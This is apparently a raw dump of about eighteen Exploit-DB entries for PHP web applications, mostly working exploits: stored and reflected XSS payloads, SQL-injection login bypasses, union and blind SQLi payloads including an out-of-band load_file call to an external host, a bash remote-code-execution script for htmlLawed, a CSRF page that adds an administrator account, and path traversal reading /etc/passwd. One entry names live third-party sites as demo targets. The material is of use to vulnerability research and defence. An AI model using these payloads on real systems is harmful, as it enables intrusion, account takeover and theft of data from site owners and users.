deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47587
Description: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-11-05
Author: cakes

Exploit:
# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
# Software Link: https://github.com/lolypop55/html5_snmp.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC

POST /add_router_operation.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/add_router.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Cookie: submenu1=block; showips=10; showurls=10; showreferers=10; PHPSESSID=9m6bv15esubafglv5cnbcha421
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1


Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ealert%28%22test5%22%29%3B%3C%2Fscript%3E&Submit=Save
Exploit-DB #27237
Description: HTML::BBCode 1.03/1.04 - HTML Injection
Type: webapps
Platform: php
Date: 2006-02-15
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16680/info

HTML::BBCode is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected site, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Examples have been provided:

[img]javascript:alert(123)[/img]

[url=javascript:alert(123)]Click me[/url]
Exploit-DB #29910
Description: HTMLEditBox 2.2 - 'config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23664/info

htmlEditbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to execute malicious PHP code in the context of the webserver. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

htmlEditbox 2.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/_editor.php?settings[app_dir]=http://shell
Exploit-DB #52023
Description: htmlLawed 1.2.5 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2024-05-19
Author: Miguel Redondo

Exploit:
# Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# CVE: CVE-2022-35914

banner(){
  echo "  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _"
  echo " / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |"
  echo "| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_"
  echo "| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|"
  echo " \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|"
}

while getopts ":u:c:" arg; do
  case $arg in
    u) URL=$OPTARG; let parameter_counter+=1 ;;
    c) CMD=$OPTARG; let parameter_counter+=1 ;;
  esac
done


if [ -z "$URL" ] || [ -z "$CMD" ]; then
  banner
  echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n"
  exit
else
  banner
  echo -e "\n[+] Command output:"
fi

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/'
Exploit-DB #22896
Description: HTMLToNuke - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-07-13
Author: JOCANOR

Exploit:
source: https://www.securityfocus.com/bid/8174/info

A vulnerability has been reported in htmltonuke that may result in web code execution in the browser of visiting users. This code would be executed in the security context of the site hosting the vulnerable script.

http://www.example.com/htmltonuke.php?filnavn=[SCRIPT]%20example.html
Exploit-DB #51979
Description: HTMLy Version v2.9.6 - Stored XSS
Type: webapps
Platform: php
Date: 2024-04-12
Author: tmrswrr

Exploit:
# Exploit Title: HTMLy Version v2.9.6 - Stored XSS
# Exploit Author: tmrswrr 
# Vendor Homepage: https://www.htmly.com/
# Version 3.10.8.21 
# Date : 04/08/2024

1 ) Login admin https://127.0.0.1/HTMLy/admin/config
2 ) General Setting > Blog title >  "><img src=x onerrora=confirm() onerror=confirm(1)> 
3 ) After save it you will be see XSS alert
Exploit-DB #2791
Description: HTTP Upload Tool - 'download.php' Information Disclosure
Type: webapps
Platform: php
Date: 2006-11-16
Author: Craig Heffner

Exploit:
#######################################################################################
# Target:
#
#       HTTP Upload Tool For PHP 1.0
#       http://uploadtool.sourceforge.net/
#
# Vulnerability:
#
#       Information disclosure
#
# Description:
#
#       The download.php file in Upload Tool for PHP neither verifies that a
#       requestor has authenticated, nor performs any sanity checking on the file
#       being requested. This allows an unauthenticated user to download any file
#       which the web server has read rights to, including the users.conf file which
#       contains a list of Upload Tool's users and their hashed passwords.
#
# Vulnerable Code (truncated):
#
#       $filename = $_GET['filename'];
#       readfile("$filename");
#
# Exploit:
#
#       http://www.examplesite.com/upload/bin/download.php?filename=../conf/users.conf
#       http://www.examplesite.com/upload/bin/download.php?filename=/etc/passwd
#
# Discovered:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
#######################################################################################

# milw0rm.com [2006-11-16]
Exploit-DB #46149
Description: Hucart CMS 5.7.4 - Cross-Site Request Forgery (Add Administrator Account)
Type: webapps
Platform: php
Date: 2019-01-14
Author: AllenChen

Exploit:
<!--
# Exploit Title: Hucart cms v5.7.4 CSRF vulnerability add administrator account
# Date: 2019-01-13
# Exploit Author: AllenChen（520allen@gmail.com）
# Vendor Homepage: http://www.hucart.com/
# Software Link: http://www.hucart.com/
# Version: v5.7.4
# CVE : CVE-2019-6249
 
An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.（References：http://www.iwantacve.cn/index.php/archives/109/）

After the administrator logged in, open the csrf exp page.
-->


<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='[PII_REDACTED]' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  


var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
Exploit-DB #32047
Description: Hudson 1.223 - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-11
Author: syniack

Exploit:
source: https://www.securityfocus.com/bid/30184/info

Hudson is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Hudson 1.223 is vulnerable; other versions may also be affected. 

http://www.example.com/hudson/search/?q="><script>alert(1);</script>
Exploit-DB #34412
Description: Hulihan Applications BXR 0.6.8 - SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42247/info

Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Hulihan Applications BXR 0.6.8 is vulnerable; other versions may also be affected.

http://www.example.com/folder/list?order_by=filesize&#039;+SQL


<form action="http://host/search/show_results" method="post" name="main" >

<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value=&#039;1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="commit" value="Find!" />

</form>
<script>
document.main.submit();
</script>


mytagname"><script>alert(document.cookie)</script>


<form action="http://host/settings/update_settings" method="post" name="main" >

<input type="hidden" name="setting[site_title]" value=&#039;BXR File Management System"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #49854
Description: Human Resource Information System  0.1  - 'First Name' Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-10
Author: Reza Afsahi

Exploit:
# Exploit Title: Human Resource Information System  0.1  - 'First Name'  Persistent Cross-Site Scripting (Authenticated)
# Date: 04-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html
# Software Download: https://www.sourcecodester.com/download-code?nid=14714&title=Human+Resource+Information+System+Using+PHP+with+Source+Code
# Version: 0.1
# Tested on: PHP 7.4.11 , Linux x64_x86

# --- Description --- #

# The web application allows for an  assisstant to inject persistent Cross-Site-Scripting payload which will be executed in both assistant and Super Admin panel  


# --- Proof of concept --- #

1- Login as Assistant and go to:  http://localhost/code/Admin_Dashboard/Add_employee.php
2- Click on Add Employee button
3- Inject this payload into First Name input : <script>alert('xss')</script> 
4- and fill other inputs as you want (Other inputs might be vulnerable as well) then click on Save button.
5- refresh the page and Xss popup will be triggered.

6- Now if Super Admin visit this page in his/her Dashboard : http://localhost/code/Superadmin_Dashboard/Add_employee.php
7- Our Xss payload will be executed on Super Admin Browser

** Attacker can use this vulnerability to take over Super Admin account **
Exploit-DB #51877
Description: Human Resource Management System 1.0 - 'employeeid' SQL Injection
Type: webapps
Platform: php
Date: 2024-03-12
Author: Srikar

Exploit:
# Exploit Title: Human Resource Management System - SQL Injection
# Date: 13-01-2024
# Exploit Author: Srikar ( Exp1o1t9r )
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip
# Version: 1.0 (Monday, October 10, 2022 - 13:37)
# Tested On: Windows 10 Pro 10.0.19044 N/A Build 1288 + XAMPP V3.3.0
# Vulnerable URL and Parameter:URL:


Parameter: employeeid=2 The following payloads successfully identified SQL injection
vulnerabilities:
employeeid=2' AND 9667=9667-- NFMgemployeeid=2' AND (SELECT
6014 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT
(ELT(6014=6014,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ywfiemployeeid=2' AND (SELECT
7160 FROM (SELECT(SLEEP([SLEEPTIME])))IzXD)-- ninWemployeeid=-4254' UNION
ALL SELECT
NULL,CONCAT(0x716a767671,0x457977584e[PII_REDACTED]7641497a4b6e637668455a487948534e[PII_REDACTED]6f5a4a[PII_REDACTED]76,0x7162716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
- *

# Response:MySQL: 10.4.32-MariaDB
Users:'pma'@'localhost''root'@'127.0.0.1''root'@'::1''root'@'localhost'*
Exploit-DB #51971
Description: Human Resource Management System v1.0 - Multiple SQLi
Type: webapps
Platform: php
Date: 2024-04-08
Author: nu11secur1ty

Exploit:
## Title: Human Resource Management System v1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 04/02/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The cityedit parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+'
was submitted in the cityedit parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get all information from the system by using this
vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: cityedit (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(select
load_file(0x5c5c5c5c726a[PII_REDACTED]666a3662336a3175736a30656f[PII_REDACTED]76396f786b6c626f7a666d3561752e6f[PII_REDACTED]792e636f6d5c5c656969))+''
ELSE 0x28 END)) AND 'GMzs'='GMzs

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT
(ELT(8880=8880,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'qJHK'='qJHK

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR
1) AND 'Jtnd'='Jtnd
---
```
Exploit-DB #9494
Description: humanCMS - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-24
Author: next

Exploit:
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
()                                                                                                    ()
()    f KHatr Zfaft Zenta9 f Zfaft Galo ya khir CHirbakhzer                                           ()                                                                                           
()                                                                                                    ()
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
[+]  humanCMS   (Auth Bypass)  SQL Injection Vulnerability
[+]  Discovered by  next
[+]  www.sa3eka.com   ()()()()()  www.m4r0c-s3curity.cc
[+] vie.0[at]hotmail.com
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

[+]  Home Page      :      http://www.squarelabel.com
                           "humanCMS site description"

[+]  Auth Bypass

[+] expolit    :           username :     ' or' 1=1
                           password :      ' or' 1=1

[+] admin login demo :
                           http://www.festivalcite.ch/index.php?id=&action=login
                           http://www.squarelabel.com/index.php?id=&action=login

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

# milw0rm.com [2009-08-24]
Exploit-DB #35510
Description: Humhub 0.10.0-rc.1 - SQL Injection
Type: webapps
Platform: php
Date: 2014-12-10
Author: Jos Wetzels_ Emiel Florijn

Exploit:
# Exploit Title: Humhub <= 0.10.0-rc.1 SQL injection vulnerability
# Date: 08-12-2014
# Exploit Author: Jos Wetzels, Emiel Florijn
# Vendor Homepage: https://www.humhub.org
# Software Link: https://github.com/humhub/humhub/releases
# Version: <= 0.10.0-rc.1

The Humhub [1] social networking kit versions 0.10.0-rc.1 and prior suffer from an SQL injection vulnerability, which has now been resolved in cooperation with the vendor [2], in its notification listing functionality allowing an attacker to obtain backend database access. In the actionIndex() function located in "/protected/modules_core/notification/controllers/ListController.php" [3] a check is performed on the unsanitized $lastEntryId variable (which is fetched from the 'from' GET parameter) to see if it is greater than 0. However, since PHP uses type-unstrict comparisons and $lastEntryId isn't guaranteed to be an integer, this allows an attacker to prefix their string of choice with any number of integers (so that $lastEntryId gets treated as an integer during the comparison) such that the comparison evaluates to true and $criteria->condition is injected with the otherwise unsanitized $lastEntryId, which can be any SQL injection.

Proof of Concept: Performing the following request

	index.php?r=notification/list/index&from=999) AND (CASE WHEN 0x30<(SELECT substring(password,1,1) FROM user_password WHERE id = 1) THEN 1 ELSE 0 END) AND (1=1

Allows an attacker to perform a binary search SQL injection. In addition, the SQL error handling of the function in question allows the attacker to perform a reflected Cross-Site Scripting attack.

Proof of Concept: Directing any user to the following link

	index.php/?r=notification/list/index&from=999) AND ("<iframe src = 'index.php/?r=user/auth/logout'>"=""

Will perform a CSRF attack against the target user.

It should be noted that the attack requires regular user-level authentication to the humhub system.

[*] References:
	1. http://humhub.org
	2. https://github.com/humhub/humhub/commit/febb89ab823d0bd6246c6cf460addabb6d7a01d4
	3. https://github.com/humhub/humhub/blob/e406538ac44f992774e1abd3748ee0a65469829d/protected/modules_core/notification/controllers/ListController.php#L46
Exploit-DB #46771
Description: HumHub 1.3.12 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-04-30
Author: Kağan EĞLENCE

Exploit:
# Exploit Title: HumHub 1.3.12 - Cross-Site Scripting
# Exploit Author: Kağan EĞLENCE
# Vendor Homepage: https://humhub.org/
# Version: 1.3.12
# CVE : CVE-2019-11564


Url : http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Vulnerable File :
/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Request Type: POST


#Request Example:
=============

    POST /humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/73.0.3683.83 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 64
    Connection: close
    Cookie: xxxx
    Upgrade-Insecure-Requests: 1

    %3Cscript%3Ealert%28%22Vulnerable%22%29%3C%2Fscript%3E=undefined

### History
=============
2019-4-10  Issue discovered
2019-4-10  Vendor contacted
2019-4-10  Vendor response and hotfix
2019-4-27  Advisory release
Exploit-DB #11963
Description: Huron CMS 8 11 2007 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-30
Author: mat

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
Huron CMS 8 11 2007 (Auth Bypass) SQL Injection Vulnerability
Script: http://huroncms.googlecode.com/files/Huron_28_11_2007.zip
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

//------------------------------------------------------------------+
<?
	$consulta = "select user from Administrador where user='".$_POST['usr']."' AND password='".$_POST['pas']."'";
	$resultado=mysql_query($consulta,$link);
	$i=0;
	while($row = mysql_fetch_array($resultado)) 
	{
		$i++;
	}
	if($i>0){
?>
//------------------------------------------------------------------+

http://[target]/[path]/index.php

Put as username and password: 'or 1=1/*
You will log in as admin

Greetings: All Hackerz
Exploit-DB #33875
Description: HuronCMS - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-03-30
Author: mat

Exploit:
source: https://www.securityfocus.com/bid/39685/info

HuronCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Huron CMS 8 11 2007 is vulnerable; other versions may also be affected. 

The following example data are available:

Username: 'or 1=1/*
Password: 'or 1=1/*